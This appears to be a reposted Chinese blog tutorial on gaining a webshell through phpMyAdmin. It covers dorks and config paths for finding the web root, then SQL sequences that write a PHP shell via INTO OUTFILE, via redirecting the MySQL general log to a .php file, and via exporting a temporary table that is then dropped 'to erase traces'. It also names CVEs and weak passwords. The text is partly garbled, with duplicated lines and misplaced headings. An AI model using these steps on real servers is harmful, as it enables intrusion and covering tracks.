phpMyadmin的Getshell思路
2021-01-07 04:29
标签:webapp from 后台 mcrypt inf themes 错误 限制 读取文件 本文为这个大佬创作:https://www.bugfor.com/web/2822.html。 phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库。 phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库。 此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell select @@datadir; # Windows c:windowsphp.ini # php配置文件 c:windowssystem32inetsrvMetaBase.xml # IIS虚拟主机配置文件 # Linux /etc/php.ini # php配置文件 /etc/httpd/conf.d/php.conf /etc/httpd/conf/httpd.conf # Apache配置文件 /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件 site:xxx.com warning site:xxx.com "fatal error" www.xxx.com/test.php www.xxx.com/ceshi.php www.xxx.com/info.php www.xxx.com/phpinfo.php www.xxx.com/php_info.php www.xxx.com/1.php phpMyAdmin/libraries/selectlang.lib.php phpMyAdmin/darkblueorange/layout.inc.php phpmyadmin/themes/darkblue_orange/layout.inc.php phpMyAdmin/index.php?lang[]=1 phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1 /phpmyadmin/libraries/lect_lang.lib.php ? /phpMyAdmin/phpinfo.php /phpmyadmin/themes/darkblue_orange/layout.inc.php /phpmyadmin/libraries/select_lang.lib.php /phpmyadmin/libraries/mcrypt.lib.php select version(); -- 查看数据库版本 select @@datadir; -- 查看数据库存储路径 show VARIABLES like ‘%char%‘; -- 查看系统变量 select @@secure_file_priv -- 查询secure_file_priv -- secure_file_priv=NULL,禁止导入导出 -- secure_file_priv=‘‘,不限制导入导出 -- secure_file_priv=/path/,只能向指定目录导入导出 select load_file(‘c:/phpinfo.php‘); -- 读取文件 select ‘123‘ into outfile ‘c:/shell.php‘; -- 写入文件 直接通过SQL查询写入shell -- 假设物理路径为 "G:phpStudyWWW" select ‘‘ into outfile ‘G:/phpStudy/WWW/shell.php‘; MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。 show variables like ‘%general%‘; Variable_name Value general_log OFF general_log_file G:phpStudyMySQLdataFengSec.log set global general_log = "ON"; -- 打开日志保存 set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接 select ‘‘; ‘ -- 假设物理路径为 "G:phpStudyWWW" select * from shell_table into outfile "G:/phpstudy/WWW/shell.php"; Drop TABLE IF EXISTS shell_table; Create TABLE shell_table (xiaoma text NOT NULL) -- 建表 Insert INTO shell_table (xiaoma) VALUES(‘‘); -- 写入 select * from shell_table into outfile ‘G:/phpstudy/WWW/shell.php‘; -- 导出 Drop TABLE IF EXISTS shell_table; -- 删表 CVE-2013-3238 CVE-2012-5159 CVE-2009-1151 PhpMyAdmin配置文件/config/config.inc.php存在命令执行 phpMyadmin的Getshell思路 标签:webapp from 后台 mcrypt inf themes 错误 限制 读取文件 原文地址:https://www.cnblogs.com/sunny11/p/13581470.htmlphpMyadmin简介
信息收集
物理路径
其它信息
GetShell
前提条件
常规GetShell
日志GetShell
查询日志全局变量
开启日志保存并配置保存路径
写shell
新表GetShell
进入一个数据库,新建数据表。
添加字段
在该表中点击插入,值为一句话木马
执行SQL查询,将该表中的内容导出到指定文件
删除该表,抹除痕迹
以上步骤也可以通过MySQL语句执行
特殊版本GetShell
弱口令&万能密码
文章标题:phpMyadmin的Getshell思路
文章链接:http://soscw.com/index.php/essay/40629.html